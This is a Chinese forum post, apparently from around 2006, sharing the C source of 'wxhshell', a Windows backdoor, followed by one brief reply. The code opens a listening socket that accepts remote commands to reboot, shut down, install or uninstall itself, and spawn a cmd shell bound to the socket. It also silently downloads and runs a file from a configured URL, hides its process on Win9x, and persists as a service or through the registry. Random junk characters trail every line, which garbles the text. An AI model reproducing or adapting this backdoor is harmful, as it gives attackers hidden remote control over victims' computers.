  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gjB36R  
  else LN}eD\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]7 " W(  
  } =c>2d.^l  
  else { aC:Sy^Tf  
 U, _nEx  
    switch(cmd[0]) { ? RL[#d+y  
  7pH`"$  
  // 帮助 {`5Sh1b  
  case '?': { sUA==k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R!IODXP=  
    break; 1sp>UBG  
  } :ad  
  // 安装 h{xC0NC)  
  case 'i': { 0gdFXh$!e  
    if(Install()) NFq&a i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >xQgCOi  
    else N>qOiw[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 70bI}/u  
    break; 7x` dEi<  
    } ?HwW~aO  
  // 卸载 Y"~Tf{8  
  case 'r': {  eX7dyM  
    if(Uninstall()) e~C5{XEE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|mWEB.p  
    else LV|ZZ.d h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^uB9EP*P  
    break; +-tvNX%IJ  
    } OUCL tn\  
  // 显示 wxhshell 所在路径 `x%v& >  
  case 'p': { u!I Es  
    char svExeFile[MAX_PATH]; gz fs9e  
    strcpy(svExeFile,"\n\r"); S+(TRIjk  
      strcat(svExeFile,ExeFile); :lj1[q:Y>  
        send(wsh,svExeFile,strlen(svExeFile),0); K;,zE6WD$$  
    break; uY jE)"  
    } $:IOoS|e  
  // 重启 l&3f<e  
  case 'b': { Ia_I~ U$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *J^l r"%c  
    if(Boot(REBOOT)) Gx Z'"x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M- inlZNR  
    else { :|cC7, S  
    closesocket(wsh); 4C@ .X[r  
    ExitThread(0); Ln6\Iis  
    } B*=m%NXf  
    break; v4M1uJ8  
    } zN}1Qh  
  // 关机 h'*>\eC6  
  case 'd': { 1aEM&=h_W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nnr g^F  
    if(Boot(SHUTDOWN)) R^8L^8EL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (-k`|X"  
    else { X!=E1TL  
    closesocket(wsh); "rhU2jT=c  
    ExitThread(0); OZ{YQ}t{^1  
    } ['9awgkr/  
    break; cuv?[ M  
    } ,/{(8hn  
  // 获取shell V>"nAh]}.  
  case 's': { kb"g  
    CmdShell(wsh); ]O%wZIp\P  
    closesocket(wsh); h)S223[  
    ExitThread(0); Rb!|2h)  
    break; &f12Q&jY7  
  } B[XVTok  
  // 退出 0 #*M'C#  
  case 'x': { <cC0l-=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l#40VHa?S  
    CloseIt(wsh); :|j,x7&/{  
    break; S b0p?  
    } )ro3yq4??  
  // 离开 Fk&W*<}/;  
  case 'q': { bbGSh|u+P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ryhme\%l;f  
    closesocket(wsh); ~Sq!P  
    WSACleanup(); oW0A8_|9  
    exit(1); -e#~CE-  
    break; :exgdm;N  
        } sZ~q|}D-  
  } AH*{Bi[vX  
  } ~!PAs_O  
7Jm&z/  
  // 提示信息 IZr~h9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .MoOjx?  
} z"cF\F  
  } (~C_zG  
&b!L$@6  
  return; +w'"N  
} "Jd!TLt\x  
E cS+/  
// shell模块句柄 @UbH ;m  
int CmdShell(SOCKET sock) E;$;g#ksf  
{ o+9b%I^1V  
STARTUPINFO si; kNC.^8ryz[  
ZeroMemory(&si,sizeof(si)); U<T.o0s=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yr4j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M:%6$``  
PROCESS_INFORMATION ProcessInfo; Dt1v`T~=?  
char cmdline[]="cmd"; N^G $:GC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )<J|kC\r6c  
  return 0; ll]MBq  
} ~&zrDj~FI  
'VgdQp$L$  
// 自身启动模式 U;o$=,_p  
int StartFromService(void) _J|TCm  
{ Xv1 SRP#  
typedef struct &m=GkK  
{ 2#<)-Cak  
  DWORD ExitStatus; sj;n1t}$S  
  DWORD PebBaseAddress; AXnuXa(j  
  DWORD AffinityMask; ~0;l\^  
  DWORD BasePriority; @W4tnM,#  
  ULONG UniqueProcessId; cRR[ci34k  
  ULONG InheritedFromUniqueProcessId; S JseP_-  
}   PROCESS_BASIC_INFORMATION; xj6@85^  
7P+qPcRaP  
PROCNTQSIP NtQueryInformationProcess; J^!2F}:  
)[t zAaP7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UN FQ`L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i6S5 4&^!  
5%qq#;[ n  
  HANDLE             hProcess; #8Bs15aV  
  PROCESS_BASIC_INFORMATION pbi; n@TK}?\UoR  
jOkc'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `u<\ 4&W  
  if(NULL == hInst ) return 0; fbTq?4&Q  
t zTnFV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &oz^dlw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :V9%R~h/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r<%ua6@  
P{bRRn4Z  
  if (!NtQueryInformationProcess) return 0; p#\JKx  
B4D#T lB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J]!&E~Y  
  if(!hProcess) return 0; L:.z FW,  
+jEtu[ ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A^2n i=b  
Q!91uNL  
  CloseHandle(hProcess);  46^9O 5J  
8[k:FGp>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }&*wJ]j`L  
if(hProcess==NULL) return 0; Kl Kk?6 >  
vcmB)P-T`O  
HMODULE hMod; l.@v@T(/  
char procName[255]; H|.cD)&eYy  
unsigned long cbNeeded; W0I)< S  
>=6 j:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H@'f=Y*D  
eT'Z;ZO  
  CloseHandle(hProcess); rA\6y6dFs  
t'e\Z2  
if(strstr(procName,"services")) return 1; // 以服务启动 )bgaqca_{  
L0Ycf|[s,  
  return 0; // 注册表启动 N|rB~  
} 1_jd1 UT  
5r)]o'? s  
// 主模块 G%HuB5:u  
int StartWxhshell(LPSTR lpCmdLine) TwI'}J|w  
{ W"v"mjYud  
  SOCKET wsl; ]aMeMhe-  
BOOL val=TRUE; J#*%r)  
  int port=0; iW9o-W a  
  struct sockaddr_in door; (-[73v-w  
tkX?iqKQ  
  if(wscfg.ws_autoins) Install(); r$cq2pkX  
@}<b42  
port=atoi(lpCmdLine); ?'IY0^  
,\RZ+kC>~  
if(port<=0) port=wscfg.ws_port; BY5ODc$  
L)z`  
  WSADATA data; _)U.5f<   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a/{M2  
6Bf aB:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wj{[g^y%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X-<l+WP  
  door.sin_family = AF_INET; NVX@1}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (3Dz'X  
  door.sin_port = htons(port); 6%B)  
U~GQ JR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O>3f*Cc  
closesocket(wsl); rQsYt/  
return 1; #8/pYQ;  
} };;k5z I%  
J|aU}Z8m  
  if(listen(wsl,2) == INVALID_SOCKET) { l 2ARM3"  
closesocket(wsl); d` X1cG  
return 1; j[${h, p?  
} Db K(Rh_ K  
  Wxhshell(wsl); ~zYk,;m  
  WSACleanup(); )>(ZX9diV  
 ae>B0#=  
return 0; T9\G,;VQ7/  
I&9Itn p$  
} phi9/tO\u  
@q"HZO[  
// 以NT服务方式启动 >/+R~ n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gVI{eoJ  
{ #SX-Y)> 1@  
DWORD   status = 0; [ 0z-X7=e  
  DWORD   specificError = 0xfffffff; LaX<2]Tx:  
n.7-$1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mu{\_JX.A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wE3fKG.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WRp0.  
  serviceStatus.dwWin32ExitCode     = 0; *t300`x  
  serviceStatus.dwServiceSpecificExitCode = 0; =`ECM7  
  serviceStatus.dwCheckPoint       = 0; O?t49=uB}  
  serviceStatus.dwWaitHint       = 0; 1<;VD0XX  
Vr:`?V9Q2(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -sxu7I  
  if (hServiceStatusHandle==0) return; im@QJ :  
bJcO,M:2  
status = GetLastError(); MNf^ml[  
  if (status!=NO_ERROR) n.=Zw2FE  
{ <~zPt&C]V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %.WW-S3  
    serviceStatus.dwCheckPoint       = 0; v Q51-.g  
    serviceStatus.dwWaitHint       = 0; @^.o8+Pp  
    serviceStatus.dwWin32ExitCode     = status; C@WdPjxj  
    serviceStatus.dwServiceSpecificExitCode = specificError; E?FUr?-[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cHC4Y&&uZ  
    return; cAq5vAqmg  
  } p$}/~5b}4  
Xc$Zkfmms  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P~;1adi3  
  serviceStatus.dwCheckPoint       = 0; \ #N))gAQ  
  serviceStatus.dwWaitHint       = 0; 89j*uT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &Qmb?{S0  
} 05Q4$P  
]Pe8G(E!  
// 处理NT服务事件,比如:启动、停止 {f\{{JJ]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T037|k a{  
{ ]app9  
switch(fdwControl) tL M@o|:  
{ 48Jt1^  
case SERVICE_CONTROL_STOP:  (duR1Dz  
  serviceStatus.dwWin32ExitCode = 0; 3+&k{UZjt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gs&F .n  
  serviceStatus.dwCheckPoint   = 0; @F/,~|{iM  
  serviceStatus.dwWaitHint     = 0; K >Q 6  
  { 2(5/#$t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yL %88,/  
  } "m`}J*s"  
  return; [6Q1yNE  
case SERVICE_CONTROL_PAUSE: S9[Y1qH>K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kN6 jX  
  break; Uy|Tu~  
case SERVICE_CONTROL_CONTINUE: U6.hH%\}@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BIEq(/-  
  break; @Z5,j)  
case SERVICE_CONTROL_INTERROGATE: PQUJUs  
  break; %Fx ^"  
}; UOyM=#ipY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w3#0kl  
} }0sLeGJ!  
>7r%k,`  
// 标准应用程序主函数 [hV}$0#E[O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jX0^1d@  
{ cG&@PO]+.  
I+( b!(H  
// 获取操作系统版本 bVzJOBe  
OsIsNt=GetOsVer(); T[<554  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }$[@*  
G7i0P j  
  // 从命令行安装 .[+}nA,g%~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Kc9*]D  
zN9#qlfv  
  // 下载执行文件 CM7NdK?I  
if(wscfg.ws_downexe) {  OO</d:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {-Gh 62hDg  
  WinExec(wscfg.ws_filenam,SW_HIDE); L9oLdWa(C  
} wR,}#m,  
G9Noch9 g  
if(!OsIsNt) { >cpv4Pgm  
// 如果时win9x,隐藏进程并且设置为注册表启动 /ZM xVh0  
HideProc(); 3h$E^"  
StartWxhshell(lpCmdLine);  f^KN8N  
} YkE_7r(1  
else t/_\w"  
  if(StartFromService()) B`||4*  
  // 以服务方式启动 DWEDL[{  
  StartServiceCtrlDispatcher(DispatchTable); lEw;X78+  
else &8yGV i  
  // 普通方式启动 ^Ku]8/ga  
  StartWxhshell(lpCmdLine); $j8CF3d.6  
JLz32 %-M  
return 0; ?:&2iW7z  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八